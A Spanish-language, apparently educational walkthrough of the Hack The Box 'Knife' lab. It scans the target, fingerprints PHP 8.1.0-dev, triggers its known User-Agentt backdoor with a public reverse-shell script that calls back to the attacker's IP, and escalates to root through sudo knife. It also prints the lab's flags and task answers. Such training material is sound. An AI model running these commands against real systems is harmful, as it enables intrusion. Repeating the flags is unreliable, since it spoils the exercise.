En esta guía
Lección de esta máquina, ya en la conexión: una VPN a la vez. Si levantas una segunda sin cerrar la primera, Linux crea tun1 (porque tun0 sigue ocupada) y verás errores route ... File exists. Antes de conectar otra VPN, mata la anterior con sudo pkill openvpn y reconecta: así vuelves a un tun0 limpio.
Resumen del recorrido (contiene spoilers)
nmap · 2 puertos
curl -I → PHP 8.1.0-dev
backdoor · User-Agentt
reverse shell → james
sudo knife → root
Entorno y versiones documentadas
- Kali Linux y VirtualBox: versiones no especificadas en la guía original.
- Servicio del objetivo: PHP 8.1.0-dev.
Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.
01 · RECONOCIMIENTO
Ver solución paso a paso
mkdir -p ~/htb/knife/nmap && cd ~/htb/knife
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.139PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpDos puertos. Mismo razonamiento que Cap: SSH (22) pide credenciales que no tienes → puerta cerrada con llave, se descarta como entrada inicial. HTTP (80) es la única superficie explorable. Con solo dos puertas y una cerrada, la decisión no admite duda: se empieza por HTTP.
ttl=63 en la respuesta al ping sugiere una máquina Linux (los TTL de Linux parten en 64 y bajan 1 por salto). Pista temprana, se confirma luego con el fingerprint.02 · FINGERPRINTING
Ver solución paso a paso
La web no muestra nada obvio
Abres http://10.129.62.139 en Firefox y ves una página de empresa médica ficticia (EMA: Emergent Medical Idea): puro texto, los enlaces de arriba no hacen nada, sin funciones visibles. A simple vista no hay qué explotar.
Inspeccionar las cabeceras HTTP
Cada respuesta web trae "cabeceras": metadatos invisibles que a veces revelan el software y sus versiones. Es como leer la etiqueta de fabricación. Desde la terminal, sin navegador:
curl -I http://10.129.62.139curl hace peticiones web desde la consola; -I pide solo las cabeceras, no el contenido.
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8Server: Apache/2.4.41 (Ubuntu) confirma Ubuntu/Linux. Y la joya: X-Powered-By: PHP/8.1.0-dev.
-dev es una versión de desarrollo, no de producción. Cuando encuentras una versión específica y rara (-dev, beta, RC…), la siguiente pregunta es SIEMPRE: ¿esta versión tiene una vulnerabilidad pública conocida? Una versión de desarrollo en producción es una bandera roja: puede traer código que nunca debió publicarse.03 · LA VULNERABILIDAD
Ver solución paso a paso
▚ El backdoor de PHP 8.1.0-dev
Buscando PHP 8.1.0-dev exploit (en Google o en Exploit-DB) se descubre que en 2021 el repositorio de código de PHP fue comprometido: unos atacantes inyectaron un backdoor en el código fuente, que quedó en esa versión de desarrollo.
El backdoor (apodado zerodiumvar_dump) se dispara cuando el servidor recibe una cabecera HTTP con un nombre concreto, y ejecuta como comando lo que venga en ella. Ese nombre es User-Agentt, con doble T, no es una errata. Se disfrazó a propósito para parecerse a la cabecera legítima User-Agent y pasar desapercibida.
Conseguir y leer el exploit
Las referencias apuntan a un exploit ya escrito en Python (repo de flast101). Se clona y, regla de oro, se lee antes de ejecutar: nunca dispares un exploit a ciegas.
git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce
cat revshell_php_8.1.0-dev.pyDentro del script se ve materializado todo lo investigado: manda la cabecera User-Agentt con zerodiumsystem('...') y dentro un payload de reverse shell. También comprueba primero que el server corra PHP/8.1.0-dev antes de atacar. Su uso:
python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>04 · ACCESO · REVERSE SHELL
Ver solución paso a paso
▚ ¿Qué es una reverse shell?
Una técnica para conseguir una terminal de la víctima cuando no tienes credenciales. Al revés de lo intuitivo: en vez de que tú te conectes a la víctima (como el SSH de Cap), haces que la víctima se conecte a ti.
Tú te pones "a la escucha" en tu Kali; luego, vía el backdoor, ordenas a la víctima que te llame de vuelta y te entregue una shell. Lo que necesita saber de ti no son credenciales, sino tu IP y un puerto, como un número de teléfono, no una contraseña.
1 · Ponte a la escucha (listener)
En una terminal, espera la conexión entrante con netcat. Queda "colgada" escuchando, es correcto, no la cierres.
nc -lvnp 4444-l listen · -v verbose · -n sin DNS · -p 4444 puerto (el mismo que le pasarás al exploit).
2 · Dispara el exploit
Confirma tu IP de tun0 (ip a show tun0), un error clásico: pasar la IP de eth0 en vez de la de la VPN, y la shell nunca llega. Orden: URL víctima → tu IP → tu puerto.
python3 revshell_php_8.1.0-dev.py http://10.129.62.139 10.10.14.57 4444La magia ocurre en la terminal del netcat: cae la conexión y aparece un prompt nuevo.
connect to [10.10.14.57] from (UNKNOWN) [10.129.62.139] 45772
james@knife:/$Los avisos no job control in this shell no son errores: es una shell básica. El prompt james@knife ya te dice el usuario del servidor web.
3 · Estabiliza la shell
Truco que usarás en cada reverse shell: convertir la shell básica en una más funcional (prompt completo).
python3 -c 'import pty; pty.spawn("/bin/bash")'4 · User flag
whoami # -> james
cat /home/james/user.txt # -> bf5dfa0cc747705d9ec81c5ecf28b79cjames, un usuario personal, no de servicio. Por eso pudiste leer directo su user.txt (permisos -r--------, solo de james). En una config correcta el web server no correría como un usuario real.05 · ESCALADA POR SUDO
Ver solución paso a paso
▚ ¿Qué es sudo (y por qué se abusa)?
sudo permite a un usuario ejecutar algo como otro usuario (normalmente root), si el administrador lo autorizó. La mina de oro aparece cuando esa autorización está mal hecha: si te dejan correr como root un programa que se puede "abusar", puedes escalar a root.
Preguntar qué te permite sudo
sudo -lUser james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knifeLectura: (root) lo corres como root · NOPASSWD sin contraseña (por eso sudo -l funcionó sin la clave de james) · /usr/bin/knife el binario. Ese es el boleto, y la razón del nombre de la máquina.
Qué es knife, y GTFOBins
knife es la CLI de Chef, una plataforma de gestión de configuración. Lo relevante: knife puede ejecutar código Ruby. El mismo patrón letal de Cap: un binario que corre como root y ejecuta código que tú le das.
sudo -l → búscalo en GTFOBins, sección Sudo (usa la sección de TU permiso). La entrada de knife muestra knife exec -E '...' y dice "inherits from ruby": para el código a inyectar, ve a la página de ruby → sección Shell, que da exec "/bin/sh".Armar el comando y saltar a root
Combinas la cáscara de knife con el Ruby de ruby, con sudo delante:
sudo knife exec -E 'exec "/bin/sh"'
whoami # -> root
id # -> uid=0(root) gid=0(root) groups=0(root)El prompt cambia a #. Lógica idéntica a Cap: sudo corre knife como root → knife ejecuta el Ruby → el Ruby lanza una shell → como todo corre como root, la shell es de root.
Root flag
cat /root/root.txt # -> 67d2dd2560757b41cd5019a89a441df5Máquina comprometida por completo.
TASKS · GUIDED MODE
Mostrar respuestas del laboratorio
Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.
| Task | Respuesta |
|---|---|
| ¿Cuántos puertos TCP abiertos hay? | 2 |
| ¿Qué versión de PHP corre el servidor web? | PHP 8.1.0-dev |
| ¿Qué cabecera HTTP da ejecución de código en esta versión? | User-Agentt |
| ¿Como qué usuario corre el servidor web? | james |
| Ruta completa del binario que james ejecuta como root | /usr/bin/knife |
| User flag | bf5dfa0cc747705d9ec81c5ecf28b79c |
| Root flag | 67d2dd2560757b41cd5019a89a441df5 |
CONCEPTOS NUEVOS (vs CAP)
GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.
- LABUna VPN a la vez: mata la anterior (
sudo pkill openvpn) antes de levantar otra, o acabas entun1con rutas duplicadas. - GENERALFingerprinting por cabeceras:
curl -Irevela servidor, SO y versiones cuando la web no muestra nada a la vista. - GENERALVersión rara → CVE:
-dev/beta/RC= bandera roja. Reflejo: buscar vulnerabilidad pública conocida. - GENERALLeer el exploit antes de lanzarlo: entender qué hace (el
User-Agentt, el payload) es lo que separa entender de copiar. - GENERALReverse shell: acceso sin credenciales. Listener (
nc -lvnp) + la víctima te llama de vuelta a tu IP + puerto. - GENERALEstabilizar la shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'convierte una shell básica en una usable. - GENERALEscalada por
sudo -l: el vector de privesc más común del mundo real.NOPASSWDes regalo. - GENERALEncadenar GTFOBins: knife hereda de ruby: seguir esa pista hasta el comando final, usando la sección del permiso correcto (Sudo).